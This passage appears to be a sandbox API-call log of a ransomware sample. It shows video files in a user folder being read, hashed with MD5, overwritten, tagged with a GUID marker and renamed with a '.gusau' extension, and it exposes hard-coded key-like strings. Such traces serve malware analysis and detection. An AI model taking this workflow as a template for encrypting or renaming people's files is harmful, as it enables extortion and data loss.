[0119.078] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0119.078] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0119.078] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0119.078] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0119.078] GetLastError () returned 0x0 [0119.078] CryptDestroyHash (hHash=0x3983720) returned 1 [0119.078] CryptReleaseContext (hProv=0xdf0828, dwFlags=0x0) returned 1 [0119.078] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0119.078] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x18310) returned 0x39f9f20 [0119.078] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0119.078] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0119.078] WriteFile (in: hFile=0x610, lpBuffer=0x39f9f20*, nNumberOfBytesToWrite=0x1830c, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f9f20*, lpNumberOfBytesWritten=0x405fb24*=0x1830c, lpOverlapped=0x0) returned 1 [0119.079] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0119.079] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x18311, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.079] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0119.079] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f4ef8 [0119.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f4ef8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0119.079] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5328 [0119.079] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0119.079] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0119.079] WriteFile (in: hFile=0x610, lpBuffer=0x39f5328*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5328*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0119.079] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5328 | out: hHeap=0xd10000) returned 1 [0119.079] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.079] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0119.079] CloseHandle (hObject=0x610) returned 1 [0119.080] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd0) returned 0x390a360 [0119.080] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x8e0) returned 0x39f4ef8 [0119.081] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x390a360 | out: hHeap=0xd10000) returned 1 [0119.081] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\sVLD8M-oJOW\\NDd8nvPiASazxx_Qnd.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ynwwf7ie7\\mulwtsymnardmekl\\svld8m-ojow\\ndd8nvpiasazxx_qnd.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\sVLD8M-oJOW\\NDd8nvPiASazxx_Qnd.mp4.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ynwwf7ie7\\mulwtsymnardmekl\\svld8m-ojow\\ndd8nvpiasazxx_qnd.mp4.gusau")) returned 1 [0119.081] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0119.081] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.082] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38e0b90 | out: hHeap=0xd10000) returned 1 [0119.082] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe5e6f30, ftCreationTime.dwHighDateTime=0x1d4d49e, ftLastAccessTime.dwLowDateTime=0x2e8f1260, ftLastAccessTime.dwHighDateTime=0x1d4cb1f, ftLastWriteTime.dwLowDateTime=0x2e8f1260, ftLastWriteTime.dwHighDateTime=0x1d4cb1f, nFileSizeHigh=0x0, nFileSizeLow=0x482, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="QV66E7hBIev3ByZZaaQi.flv", cAlternateFileName="QV66E7~1.FLV")) returned 1 [0119.082] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974108 [0119.082] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xee) returned 0x38e0b90 [0119.082] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974108 | out: hHeap=0xd10000) returned 1 [0119.082] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\sVLD8M-oJOW\\QV66E7hBIev3ByZZaaQi.flv") returned=".flv" [0119.082] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\sVLD8M-oJOW\\QV66E7hBIev3ByZZaaQi.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ynwwf7ie7\\mulwtsymnardmekl\\svld8m-ojow\\qv66e7hbiev3byzzaaqi.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0119.082] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=1154) returned 1 [0119.083] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0119.085] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x45c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.085] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0119.087] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0119.087] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0119.087] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.087] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x482, lpOverlapped=0x0) returned 1 [0119.087] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.087] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0119.087] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.087] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.087] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0828) returned 1 [0119.088] CryptCreateHash (in: hProv=0xdf0828, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0119.088] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0119.088] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0119.088] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0119.088] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0119.088] GetLastError () returned 0x0 [0119.088] CryptDestroyHash (hHash=0x3983720) returned 1 [0119.088] CryptReleaseContext (hProv=0xdf0828, dwFlags=0x0) returned 1 [0119.088] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0119.088] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x480) returned 0x39f4ef8 [0119.088] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0119.088] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0119.088] WriteFile (in: hFile=0x610, lpBuffer=0x39f4ef8*, nNumberOfBytesToWrite=0x47d, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f4ef8*, lpNumberOfBytesWritten=0x405fb24*=0x47d, lpOverlapped=0x0) returned 1 [0119.088] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0119.088] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x482, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.088] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0119.088] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f4ef8 [0119.088] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f4ef8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0119.088] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5328 [0119.089] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0119.089] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0119.089] WriteFile (in: hFile=0x610, lpBuffer=0x39f5328*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5328*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0119.089] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5328 | out: hHeap=0xd10000) returned 1 [0119.089] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.089] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0119.089] CloseHandle (hObject=0x610) returned 1 [0119.089] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd0) returned 0x390a360 [0119.090] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x8e0) returned 0x39f4ef8 [0119.090] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x390a360 | out: hHeap=0xd10000) returned 1 [0119.090] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\sVLD8M-oJOW\\QV66E7hBIev3ByZZaaQi.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ynwwf7ie7\\mulwtsymnardmekl\\svld8m-ojow\\qv66e7hbiev3byzzaaqi.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\sVLD8M-oJOW\\QV66E7hBIev3ByZZaaQi.flv.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ynwwf7ie7\\mulwtsymnardmekl\\svld8m-ojow\\qv66e7hbiev3byzzaaqi.flv.gusau")) returned 1 [0119.090] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0119.090] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.091] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38e0b90 | out: hHeap=0xd10000) returned 1 [0119.091] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3f1b760, ftCreationTime.dwHighDateTime=0x1d4cd44, ftLastAccessTime.dwLowDateTime=0xa40823c0, ftLastAccessTime.dwHighDateTime=0x1d4cfc9, ftLastWriteTime.dwLowDateTime=0xa40823c0, ftLastWriteTime.dwHighDateTime=0x1d4cfc9, nFileSizeHigh=0x0, nFileSizeLow=0x8980, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="T0lSyaUX_nTdUnU89-7l.avi", cAlternateFileName="T0LSYA~1.AVI")) returned 1 [0119.091] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974108 [0119.091] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xee) returned 0x38e0b90 [0119.091] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974108 | out: hHeap=0xd10000) returned 1 [0119.091] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\sVLD8M-oJOW\\T0lSyaUX_nTdUnU89-7l.avi") returned=".avi" [0119.091] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\sVLD8M-oJOW\\T0lSyaUX_nTdUnU89-7l.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ynwwf7ie7\\mulwtsymnardmekl\\svld8m-ojow\\t0lsyaux_ntdunu89-7l.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0119.092] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=35200) returned 1 [0119.092] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0119.094] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x895a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.094] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0119.096] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0119.096] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0119.096] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.096] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x8980, lpOverlapped=0x0) returned 1 [0119.096] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.096] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0119.097] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.097] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.097] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0828) returned 1 [0119.097] CryptCreateHash (in: hProv=0xdf0828, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0119.097] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0119.097] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0119.097] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0119.097] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0119.097] GetLastError () returned 0x0 [0119.098] CryptDestroyHash (hHash=0x3983720) returned 1 [0119.098] CryptReleaseContext (hProv=0xdf0828, dwFlags=0x0) returned 1 [0119.098] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0119.098] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x8980) returned 0x39f9f20 [0119.098] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0119.098] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0119.098] WriteFile (in: hFile=0x610, lpBuffer=0x39f9f20*, nNumberOfBytesToWrite=0x897b, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f9f20*, lpNumberOfBytesWritten=0x405fb24*=0x897b, lpOverlapped=0x0) returned 1 [0119.098] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0119.098] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x8980, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.098] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0119.098] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f4ef8 [0119.098] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f4ef8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0119.098] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5328 [0119.098] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0119.098] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0119.098] WriteFile (in: hFile=0x610, lpBuffer=0x39f5328*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5328*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0119.098] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5328 | out: hHeap=0xd10000) returned 1 [0119.098] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.099] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0119.099] CloseHandle (hObject=0x610) returned 1 [0119.099] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd0) returned 0x390a360 [0119.099] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x8e0) returned 0x39f4ef8 [0119.099] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x390a360 | out: hHeap=0xd10000) returned 1 [0119.099] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\sVLD8M-oJOW\\T0lSyaUX_nTdUnU89-7l.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ynwwf7ie7\\mulwtsymnardmekl\\svld8m-ojow\\t0lsyaux_ntdunu89-7l.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\sVLD8M-oJOW\\T0lSyaUX_nTdUnU89-7l.avi.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ynwwf7ie7\\mulwtsymnardmekl\\svld8m-ojow\\t0lsyaux_ntdunu89-7l.avi.gusau")) returned 1 [0119.101] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0119.101] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.102] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38e0b90 | out: hHeap=0xd10000) returned 1 [0119.102] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70c5f830, ftCreationTime.dwHighDateTime=0x1d4cff0, ftLastAccessTime.dwLowDateTime=0x5f7a4570, ftLastAccessTime.dwHighDateTime=0x1d4d065, ftLastWriteTime.dwLowDateTime=0x5f7a4570, ftLastWriteTime.dwHighDateTime=0x1d4d065, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="xbwc4aSxlyVVrqHkiS", cAlternateFileName="XBWC4A~1")) returned 1 [0119.102] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc0) returned 0x392e108 [0119.102] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc0) returned 0x392e1d0 [0119.102] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x16c) returned 0x38e0b90 [0119.102] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f7fd0 [0119.103] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974108 [0119.103] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930420 [0119.103] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930368 [0119.103] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930590 [0119.103] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x39304d8 [0119.103] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0828 [0119.103] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8230 [0119.103] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8528 [0119.103] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8068 | out: hHeap=0xd10000) returned 1 [0119.103] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974060 | out: hHeap=0xd10000) returned 1 [0119.103] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930140 | out: hHeap=0xd10000) returned 1 [0119.103] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39302b0 | out: hHeap=0xd10000) returned 1 [0119.103] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930648 | out: hHeap=0xd10000) returned 1 [0119.103] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930700 | out: hHeap=0xd10000) returned 1 [0119.103] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0718 | out: hHeap=0xd10000) returned 1 [0119.103] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8198 | out: hHeap=0xd10000) returned 1 [0119.103] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8100 | out: hHeap=0xd10000) returned 1 [0119.103] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdcc590 | out: hHeap=0xd10000) returned 1 [0119.103] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc0) returned 0x392e298 [0119.103] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x392e1d0 | out: hHeap=0xd10000) returned 1 [0119.103] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x392e108 | out: hHeap=0xd10000) returned 1 [0119.103] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70c5f830, ftCreationTime.dwHighDateTime=0x1d4cff0, ftLastAccessTime.dwLowDateTime=0x5f7a4570, ftLastAccessTime.dwHighDateTime=0x1d4d065, ftLastWriteTime.dwLowDateTime=0x5f7a4570, ftLastWriteTime.dwHighDateTime=0x1d4d065, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="xbwc4aSxlyVVrqHkiS", cAlternateFileName="XBWC4A~1")) returned 0 [0119.103] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0119.103] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ebf8 | out: hHeap=0xd10000) returned 1 [0119.103] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974300 | out: hHeap=0xd10000) returned 1 [0119.103] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0119.103] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930700 [0119.103] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0119.103] RtlAllocateHeap 